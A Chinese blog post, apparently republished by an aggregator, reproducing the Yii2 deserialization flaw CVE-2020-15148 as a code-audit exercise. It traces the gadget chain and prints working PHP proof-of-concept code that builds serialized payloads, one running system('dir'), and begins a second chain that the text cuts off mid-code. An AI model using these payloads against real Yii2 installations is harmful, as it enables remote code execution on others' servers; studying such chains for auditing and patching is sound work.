yii2框架 反序列化漏洞复现
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了yii2框架 反序列化漏洞复现相关的知识,希望对你有一定的参考价值。
1. 前言
跟着feng师傅再学习一下yii2的反序列化漏洞,提高代码审计能力
feng师傅的连接
漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148:
Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory.
至于环境的安装,直接从github上找yii2,下载下来2.0.37版本,然后修改config/web.php文件里cookieValidationKey的值,随便什么值都行。然后正常的部署一下就行了,就像thinkphp那样,根目录是/yii2/web。
1.1关于yii2 的一些访问的小知识:
根目录是
http://127.0.0.1/fuxian/yii2/web/index.php
或者
http://127.0.0.1/fuxian/yii2/web/
而后 用变量 r 来表示控制器和方法
http://127.0.0.1/fuxian/yii2/web/index.php?r=控制器/方法
注意格式:(多词汇组成的,每个单词首字母需大写)
控制器的格式 是 SampleController 。 后面的Controller是固定的。然后前面那一块是控制器的名字,输入的时候,小写就行。
里面的方法。格式是 actionTest 。 前面的action是固定的,后面的是名字,换成小写就好。
例子如下:
2. CVE-2020-15148复现
小前言:
感觉值得再过一遍,学到了好多好多知识。(可能是我真的太菜了。。。不会的太多了。所以觉得值得再过一遍…恶龙咆哮…)
这个反序列化的入口点是一个__destruct(),在BatchQueryResult类中
继续跟进一下reset():
但是继续跟进close(),发现没有什么利用的办法,正常可能链就断了,但是大师傅们的思路就是不一样,这里的_dataReader
是可控的,那么调用了close的方法,是不是可以想办法触发__call
呢?(调用类中不存在的方法的时候就会调用 __call()
方法了)
全局搜索一下__call,最后在\\vendor\\fzaninotto\\faker\\src\\Faker\\Generator.php
找到了一个合适的__call方法:
因为上面的那个 close 是无参方法,所以传给 __call()
中的 $method
是 close
, $attributes
为空。然后我们继续跟进format方法:
传入的formatter是 close
好家伙,call_user_func_array
。 继续跟进一下 getFormatter
.
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
里面的$this->formatter
是我们可控的。因此getFormatter
方法的返回值我们也是可以控制。因此call_user_func_array($this->getFormatter($formatter), $arguments );
中,回调函数我们可控,但是$arguments
是一个空数组,所以相当于我们能够干两件事:
- 调用yii2中任意的一个无参方法,
- 或者调用原生php的类似phpinfo()这样的无参方法,
但是第二种肯定不能够RCE。因此,我们还要在yii2中已有的无参方法进行挖掘:
2.1 调用原生php的类似phpinfo()这样的无参方法 + 调试:
feng 师傅的重复调用两次call_user_func_array太强了,我反应不过来,就先调用个最简单来就行了。
其实不用这个多,不用带 函数方法的,就带上属性就行了。但是为了本地调试能够看出来对错,我便带上了整个调用链的调用函数链
<?php
namespace Faker
{
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = "phpinfo"; # 调用单一原生函数,
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
}
}
namespace yii\\db
{
use Faker\\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
}
}
namespace
{
use yii\\db\\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
正向来的,是能够出phpinfo的。是对的。
反向也可。
上面的就可以直接打了。其实精简的话,可以去掉除了__construct()
之外的所有方法,
payload如下:
<?php
namespace Faker
{
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = "phpinfo";
}
}
}
namespace yii\\db
{
use Faker\\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace
{
use yii\\db\\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
生成的payload是和上面的那个是一样的。
2.2 调用yii2中任意的一个无参方法
在yii2中找到一个无参方法:
function \\w+\\(\\)
但是无参函数实在是太多了,一个一个挖起来实在费力。这里就是大师傅们的经验和智慧了,直接搜索含有 call_user_function
的无参函数:
function \\w+\\(\\) ?\\n?\\{(.*\\n)+call_user_function
上面feng师傅的整个regex有点小缺陷,所以没成功,改成这样
function \\w*\\(\\)\\n? *\\{(.*\\n)+ *call_user_func
这个效果好,注意点:大括号前面需要有空格,回车换行后面也需要有空格。就好啦~(找这个正则,找了我有一会儿,,)
feng师傅说rest/CreateAction.php
以及rest/IndexAction.php
都可以,这里分析一下 IndexAction.php看看
主要是它的 run 方法:
,,这个直接啊,到时候第一个回调函数,回调这个run,然后两个参数为system ,dir。 就RCE了嘛,函数名和参数都可控
理一下就是这样的:
class BatchQueryResult ->__destruct()
↓↓↓
class BatchQueryResult ->reset()
↓↓↓
class Generator ->__call()
↓↓↓
class Generator ->format()
↓↓↓
class Generator ->getFormatter()
↓↓↓
class IndexAction ->run()
太菜了太菜了,这里还是先正向的时候debug一下,看看为什么$this->formatters['close'] = [new IndexAction(),'run'];
。这里要传入数组进来,是个什么原理
<?php
namespace Faker
{
# 这个直接引入了IndexAction这个类了,然后后面就直接new就好。 如果只是到了 yii\\rest,那么我们还需要call 再重写一遍,
use yii\\rest\\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
#这里着重看一看,不懂为什么是赋值一个数组进来。
$this->formatters['close'] = [new IndexAction(),'run'];
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
}
}
namespace yii\\db
{
use Faker\\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
}
}
namespace yii\\rest
{
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="dir";
}
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return 11111;
}
}
}
namespace
{
use yii\\db\\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
在里面debug,de得我是真舒服,(主要还是我的PHP太菜,,)
看明白call_user_func_array
了
call_user_func_array([对象,方法], ) 就是调用一个无参函数,该函数就是那个对象中的方法,这个也就是刚才用的
call_user_func_array(方法, )。这个就是直接调用方法,也可, 2.1就是用的这个,
这里就不精简了把。一样的,去掉除了construct之外的函数和一些没用到的属性就好了。
其他反序列化链1的复现
根据yii2.0.38的更新:(艹了,,,我不知道去哪里看这些更新呐…哎呦,好烦,,)
增加了__wakeup(),在反序列化的时候直接抛出异常,因此以BatchQueryResult为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。
类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal
以及之后的链都是完好无损的,因此想找一条新的链,最快的方法就是
再找一个存在__destruct
这样的利用点,然后该类中的一个属性调用了一个方法,并且该属性可控,这样我们就能够触发后面可利用类的__call
方法了。
全局__destruct
,经过排查,发现RunProcess类的__destruct
可以利用
在跟进一下:
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}
这里$process->isRunning()
,因为$this->process
是我们可控的,因此process
我们也可控,然后调用 isRunning 方法,我们就可以触发 __call 了。后面的反序列话是不变的
直接构造POC:(同样是本地可以debug的类型,)
<?php
namespace Faker
{
# 这个直接引入了IndexAction这个类了,然后后面就直接new就好。 如果只是到了 yii\\rest,那么我们还需要call 再重写一遍,
use yii\\rest\\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
#__call方法传进来是 名称 也就是 isRunning。
$this->formatters['isRunning'] = [new IndexAction(),'run'];
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \\InvalidArgumentException(sprintf(以上是关于yii2框架 反序列化漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章